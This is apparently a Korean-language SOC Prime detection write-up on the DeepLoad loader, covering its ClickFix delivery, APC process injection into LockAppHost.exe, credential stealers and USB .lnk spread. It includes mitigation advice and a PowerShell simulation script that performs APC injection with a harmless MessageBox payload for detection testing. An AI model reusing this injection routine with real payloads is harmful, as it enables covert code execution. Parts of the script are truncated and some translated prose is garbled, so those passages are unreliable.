SOC Prime Bias: 중간

25 May 2026 16:34 UTC

DeepLoad 악성코드 설명: ClickFix 배포 및 자격 증명 절도

Author Photo
SOC Prime Team linkedin icon 팔로우
DeepLoad 악성코드 설명: ClickFix 배포 및 자격 증명 절도
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

요약

DeepLoad는 2026년 3월 처음 관찰된 파일리스 멀웨어 로더로, 사용자를 악성 PowerShell 명령을 실행하도록 설득하는 ClickFix라는 소셜 엔지니어링 전술을 통해 확산됩니다. 실행되면 로더는 메모리에서 페이로드를 해독하고 비동기 프로시저 호출을 통해 신뢰할 수 있는 Windows 프로세스에 이를 주입합니다. 그런 다음 filemanager.exe 라는 자격 증명 도용기와 저장된 비밀번호를 훔치고 키 스트로크를 기록하는 악성 브라우저 확장 프로그램을 배포합니다. 이 멀웨어는 또한 여러 단축 파일을 드롭하여 USB 드라이브를 통해 다른 시스템에서 감염 체인을 다시 시작할 수 있습니다.

조사

연구에는 원격 서버에서 PowerShell 로더를 검색하는 데 사용되는 초기 명령, 실행 중 적용된 난독화 기술 및 LockAppHost.exe와 같은 바이너리에 대한 APC 기반 프로세스 주입이 포함되어 있습니다. 또한 두 개의 별도 자격 도용 구성 요소와 함께 .lnk 파일을 일반 소프트웨어 설치 프로그램으로 가장하여 사용하는 USB 기반 횡적 이동 방법이 설명되어 있습니다. 보고서는 이 동작에 대한 방어를 테스트하는 데 사용할 수 있는 Picus 시뮬레이션 모듈도 참조합니다.

완화 방안

방어자는 신뢰할 수 없는 PowerShell 명령의 실행을 차단하고 의심스러운 예약된 작업 생성 및 mshta.exe의 비정상적인 사용을 모니터링하며 PowerShell 스크립트에 대해 엄격한 실행 통제를 시행해야 합니다. APC 기반 주입 탐지, 의심스러운 .lnk 파일에 대한 모니터링, 브라우저 자격 증명 저장 한도 설정은 모두 영향을 줄이는 데 도움이 될 수 있습니다. 메모리 내 해독 및 주입 동작을 검사할 수 있는 엔드포인트 보호도 권장됩니다.

대응

DeepLoad 활동이 감지되면 영향을 받는 엔드포인트를 즉시 격리하고, filemanager.exe 와 같은 의심스러운 프로세스를 중지하고 주입의 징후를 보이는 신뢰할 수 있는 바이너리를 중지하며, 멀웨어가 생성한 모든 예약된 작업을 제거합니다. 타협된 계정의 자격 증명을 재설정하고, 악성 바로가기 파일에 대해 이동식 미디어를 스캔하며, 모든 지속성 메커니즘을 식별하기 위한 포렌식 분석을 수행합니다. 탐지 규칙도 관찰된 명령줄 패턴과 주입 기법을 포괄하도록 업데이트해야 합니다.

graph TB %% 클래스 정의 classDef action fill:#ffcc99 classDef tool fill:#99ccff classDef file fill:#ccffcc classDef malware fill:#ff99cc classDef process fill:#ccccff classDef shortcut fill:#ffff99 classDef extension fill:#ffeb99 %% 노드 action_user_execution[“<b>작업</b> – <b>T1204.004 사용자 실행: 악성 복사 및 붙여넣기</b><br/>피해자는 가짜 ClickFix 프롬프트에서 붙여넣은 PowerShell 명령을 실행합니다.”] class action_user_execution action tool_powershell[“<b>도구</b> – <b>이름</b>: PowerShell<br/><b>설명</b>: 페이로드를 다운로드하고 실행하는 데 사용되는 Windows 스크립팅 엔진.<br/><b>기법</b>: T1059.001”] class tool_powershell tool file_loader[“<b>파일</b> – <b>이름</b>: PowerShell 로더 스크립트<br/><b>내용</b>: 더미 변수, XOR 암호화 셸코드, 동적 API 확인.”] class file_loader file action_obfuscation[“<b>작업</b> – <b>T1027 난독화된 파일 또는 정보</b><br/>더미 변수, XOR 암호화 및 동적 API 확인을 사용합니다.”] class action_obfuscation action action_reflective_loading[“<b>작업</b> – <b>T1620 반사형 코드 로딩</b><br/>셸코드를 복호화하고 메모리에 직접 로드합니다.”] class action_reflective_loading action malware_reflective_shellcode[“<b>악성코드</b> – <b>이름</b>: 메모리 내 셸코드<br/><b>동작</b>: 반사형 로드 이후 실행됩니다.”] class malware_reflective_shellcode malware shortcut_mod[“<b>바로가기</b> – <b>T1547.009 바로가기 수정</b><br/>40개 이상의 .lnk 파일이 USB에 작성되며 설치 프로그램으로 위장됩니다.”] class shortcut_mod shortcut action_lnk_icon_smuggling[“<b>작업</b> – <b>T1027.012 LNK 아이콘 밀수</b><br/>아이콘이 바로가기 파일 안에 악성 페이로드를 포함합니다.”] class action_lnk_icon_smuggling action action_taint_shared[“<b>작업</b> – <b>T1080 공유 콘텐츠 오염</b><br/>USB 바로가기는 드라이브 사용 시 다른 시스템으로 확산됩니다.”] class action_taint_shared action process_lockapp[“<b>프로세스</b> – <b>이름</b>: LockAppHost.exe”] class process_lockapp process process_makecab[“<b>프로세스</b> – <b>이름</b>: makecab.exe”] class process_makecab process process_magnify[“<b>프로세스</b> – <b>이름</b>: Magnify.exe”] class process_magnify process action_process_injection[“<b>작업</b> – <b>T1055 프로세스 인젝션 / T1055.012 프로세스 할로잉</b><br/>로더는 APC를 통해 신뢰된 프로세스에 셸코드를 주입합니다.”] class action_process_injection action extension_browser[“<b>확장 프로그램</b> – <b>T1176 소프트웨어 확장</b><br/>자격 증명과 쿠키를 수집하기 위한 악성 브라우저 확장 프로그램이 설치됩니다.”] class extension_browser extension file_stealer[“<b>파일</b> – <b>이름</b>: filemanager.exe<br/><b>기법</b>: 브라우저 및 비밀번호 관리자에서 자격 증명 덤프.”] class file_stealer file action_cred_browser[“<b>작업</b> – <b>T1555.003 웹 브라우저 자격 증명</b><br/>저장된 비밀번호를 추출합니다.”] class action_cred_browser action action_cred_manager[“<b>작업</b> – <b>T1555.005 비밀번호 관리자 자격 증명</b><br/>저장된 비밀번호를 추출합니다.”] class action_cred_manager action action_cookie_steal[“<b>작업</b> – <b>T1539 웹 세션 쿠키 탈취 / T1185 브라우저 세션 하이재킹</b><br/>확장 프로그램을 통해 세션 쿠키를 수집합니다.”] class action_cookie_steal action %% 연결 action_user_execution –>|실행| tool_powershell tool_powershell –>|실행| file_loader file_loader –>|포함| action_obfuscation action_obfuscation –>|활성화| action_reflective_loading action_reflective_loading –>|로드| malware_reflective_shellcode malware_reflective_shellcode –>|주입| action_process_injection action_process_injection –>|대상| process_lockapp action_process_injection –>|대상| process_makecab action_process_injection –>|대상| process_magnify action_user_execution –>|생성| shortcut_mod shortcut_mod –>|사용| action_lnk_icon_smuggling shortcut_mod –>|전파| action_taint_shared file_stealer –>|설치| extension_browser file_stealer –>|추출| action_cred_browser file_stealer –>|추출| action_cred_manager extension_browser –>|수집| action_cred_browser extension_browser –>|수집| action_cred_manager extension_browser –>|탈취| action_cookie_steal

공격 흐름

시뮬레이션 실행

전제 조건: 텔레메트리 및 기준 사전 점검 통과를 필요로 합니다.

이유: 이 섹션은 탐지 규칙을 트리거하도록 설계된 상대 기법(TTP)의 정확한 실행을 자세히 설명합니다. 명령어 및 설명은 반드시 식별된 TTP를 직접 반영하며, 탐지 로직에 의해 예상되는 정확한 텔레메트리를 생성하도록 목표해야 합니다.

  • 공격 설명 및 명령어:

    공격자는 로그인된 사용자 컨텍스트에서 실행되는 악성 PowerShell 스크립트(“로더”)를 전달했습니다. 로더는 다음 단계를 수행합니다:

    1. 페이로드 준비 – 컴파일된 C 이진 파일(“페이로드”)을 %TEMP%.
    2. 에 작성합니다. (LockAppHost.exe)를 호출하여 플래그와 함께 플래그와 함께
    3. 를 사용하여 프로세스 생성. 정지된 프로세스에 페이로드 주입 하기 위해 의 주소 공간에 이진 파일을 복사하려고
    4. 하기 위해 (을 호출하여 페이로드의 엔트리 포인트를 가리키게 합니다. 타겟 스레드가 다시 시작될 때 페이로드가 실행되도록 합니다.APC 대기열 추가
    5. 스레드 재개를 실행하여 주입을 완료합니다.

    이 정확한 시퀀스는 단일 프로세스 생성 이벤트를 LockAppHost.exe 에 대해 생성하며, Sysmon CallTrace 필드에 세 개의 주입 관련 API 호출이 포함되어 있어 Sigma 규칙을 충족시킵니다.

  • 레그레션 테스트 스크립트:

    # DeepLoad APC 기반 주입 시뮬레이션 (PowerShell + C# 메모리 내 컴파일)
    # --------------------------------------------------------------
    # 1. 간단한 C 페이로드 (MessageBox)를 임시 EXE로 컴파일
    $payloadSource = @"
    #include 
    int WINAPI WinMain(HINSTANCE hInst, HINSTANCE hPrev, LPSTR lpCmdLine, int nCmdShow) {
        MessageBoxA(NULL, "Injected by DeepLoad", "Success", MB_OK);
        return 0;
    }
    "@
    
    $tempDir = "$env:TEMPDeepLoadDemo"
    New-Item -ItemType Directory -Force -Path $tempDir | Out-Null
    $cFile = "$tempDirpayload.c"
    $exeFile = "$tempDirpayload.exe"
    $payloadSource | Set-Content -Path $cFile -Encoding ASCII
    
    # Visual C++ 컴파일러가 사용 가능하다면 사용; 그렇지 않으면 PowerShell의 Add-Type 사용 (DLL 생성, EXE 아님)
    if (Get-Command cl.exe -ErrorAction SilentlyContinue) {
        & cl.exe /nologo /O2 /MT $cFile /link /OUT:$exeFile
    } else {
        Write-Error "C 컴파일러를 찾을 수 없습니다 – 수동 컴파일 필요."
        exit 1
    }
    
    # 2. 주입 준비
    $targetPath = "C:WindowsSystem32LockAppHost.exe"
    $STARTUPINFO = New-Object System.Diagnostics.ProcessStartInfo
    $STARTUPINFO.FileName = $targetPath
    $STARTUPINFO.Arguments = ""
    $STARTUPINFO.RedirectStandardOutput = $false
    $STARTUPINFO.UseShellExecute = $false
    $proc = New-Object System.Diagnostics.Process
    $proc.StartInfo = $STARTUPINFO
    $proc.StartInfo.CreateNoWindow = $true
    $proc.StartInfo.Verb = "runas"  # 필요시 권한 상승
    
    # 중지된 프로세스 생성
    $pInfo = New-Object System.Diagnostics.ProcessStartInfo
    $pInfo.FileName = $targetPath
    $pInfo.Arguments = ""
    $pInfo.UseShellExecute = $false
    $pInfo.CreateNoWindow = $true
    
    $procStartInfo = [System.Diagnostics.ProcessStartInfo]::new()
    $procStartInfo.FileName = $targetPath
    $procStartInfo.Arguments = ""
    $procStartInfo.UseShellExecute = $false
    $procStartInfo.CreateNoWindow = $true
    
    # P/Invoke 정의
    $sig = @"
    using System;
    using System.Runtime.InteropServices;
    public class Native {
        [DllImport("kernel32.dll", SetLastError=true)]
        public static extern bool CreateProcessA(
            string lpApplicationName,
            string lpCommandLine,
            IntPtr lpProcessAttributes,
            IntPtr lpThreadAttributes,
            bool bInheritHandles,
            uint dwCreationFlags,
            IntPtr lpEnvironment,
            string lpCurrentDirectory,
            ref STARTUPINFO lpStartupInfo,
            out PROCESS_INFORMATION lpProcessInformation);
        [DllImport("kernel32.dll", SetLastError=true)]
        public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress,
            uint dwSize, uint flAllocationType, uint flProtect);
        [DllImport("kernel32.dll", SetLastError=true)]
        public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress,
            byte[] lpBuffer, uint nSize, out UIntPtr lpNumberOfBytesWritten);
        [DllImport("kernel32.dll", SetLastError=true)]
        public static extern uint QueueUserAPC(IntPtr pfnAPC, IntPtr hThread, UIntPtr dwData);
        [DllImport("kernel32.dll", SetLastError=true)]
        public static extern uint ResumeThread(IntPtr hThread);
        public const uint CREATE_SUSPENDED = 0x00000004;
        public const uint MEM_COMMIT = 0x1000;
        public const uint PAGE_EXECUTE_READWRITE = 0x40;
        [StructLayout(LayoutKind.Sequential, CharSet=CharSet.Ansi)]
        public struct STARTUPINFO {
            public uint cb;
            public string lpReserved;
            public string lpDesktop;
            public string lpTitle;
            public uint dwX;
            public uint dwY;
            public uint dwXSize;
            public uint dwYSize;
            public uint dwXCountChars;
            public uint dwYCountChars;
            public uint dwFillAttribute;
            public uint dwFlags;
            public ushort wShowWindow;
            public ushort cbReserved2;
            public IntPtr lpReserved2;
            public IntPtr hStdInput;
            public IntPtr hStdOutput;
            public IntPtr hStdError;
        }
        [StructLayout(LayoutKind.Sequential)]
        public struct PROCESS_INFORMATION {
            public IntPtr hProcess;
            public IntPtr hThread;
            public uint dwProcessId;
            public uint dwThreadId;
        }
    }
    "@
    
    Add-Type $sig
    
    # 구조 초기화
    $si = New-Object Native+STARTUPINFO
    $pi = New-Object Native+PROCESS_INFORMATION
    $si.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($si)
    
    # 중지된 LockAppHost 생성
    $created = [Native]::CreateProcessA($null, $targetPath, [IntPtr]::Zero, [IntPtr]::Zero,
        $false, [Native]::CREATE_SUSPENDED, [IntPtr]::Zero, $null, [ref]$si, [ref]$pi)
    
    if (-not $created) {
        Write-Error "CreateProcessA 실패: $([System.Runtime.InteropServices.Marshal]::GetLastWin32Error())"
        exit 1
    }
    
    # 페이로드 이진 파일 읽기
    $payloadBytes = [System.IO.File]::ReadAllBytes($exeFile)
    
    # 타겟에서 메모리 할당
    $remoteAddr = [Native]::VirtualAllocEx($pi.hProcess, [IntPtr]::Zero, $payloadBytes.Length,
    
    if ($remoteAddr -eq [IntPtr]::Zero) {
        Write-Error "VirtualAllocEx 실패."
        exit 1
    }
    
    # 페이로드 쓰기
    $bytesWritten = [UIntPtr]::Zero
    $writeOk = [Native]::WriteProcessMemory($pi.hProcess, $remoteAddr, $payloadBytes, $payloadBytes.Length, [ref]$bytesWritten)
    
    if (-not $writeOk) {
        Write-Error "WriteProcessMemory 실패."
        exit 1
    }
    
    # APC 대기열 추가 (페이로드 엔트리 포인트 가리키기)
    $apcResult = [Native]::QueueUserAPC($remoteAddr, $pi.hThread, [UIntPtr]::Zero)
    
    # APC 실행을 위한 스레드 재개
    [Native]::ResumeThread($pi.hThread) | Out-Null
    
    Write-Host "주입 완료 – 페이로드가 곧 나타날 것입니다."
  • 정리 명령어:

    # LockAppHost 주입 과정 인스턴스 종료 (아직 실행 중인 경우)
    Get-Process -Name "LockAppHost" -ErrorAction SilentlyContinue | Stop-Process -Force
    
    # 임시 파일 제거
    Remove-Item -Recurse -Force "$env:TEMPDeepLoadDemo"

유효성 검사 결과 (실행 후 채워야 함)

  • 규칙 작동: 예 / 아니오
  • 생성된 경고 수: ___
  • 오탐 체크: 평범한 실행이 경고를 생성하지 않음 (검증 쿼리에 의해 확인됨).

추천 요약

  1. 이벤트 간 상관 관계 – 특정 시간 내 하기 위해 or 을 호출하여 페이로드의 엔트리 포인트를 가리키게 합니다. 타겟 스레드가 다시 시작될 때 페이로드가 실행되도록 합니다. 생성 이후 이벤트를 감시하는 보조 규칙 추가. LockAppHost.exe 생성과 함께 발생하는
  2. 이미지 범위 확장 – 일반적으로 APC 주입에 악용되는 다른 신뢰할 수 있는 바이너리 포함하기 (예: svchost.exe, explorer.exe).
  3. 행동 풍부화 – 주입 후 %TEMP% 에서 실행되거나 서명되지 않은 DLL을 로드하는 프로세스 표시.
  4. 회피 완화 – 현재 단일 이벤트 조건을 우회하는 여러 프로세스에서 분할된 동일한 API 호출을 감시합니다.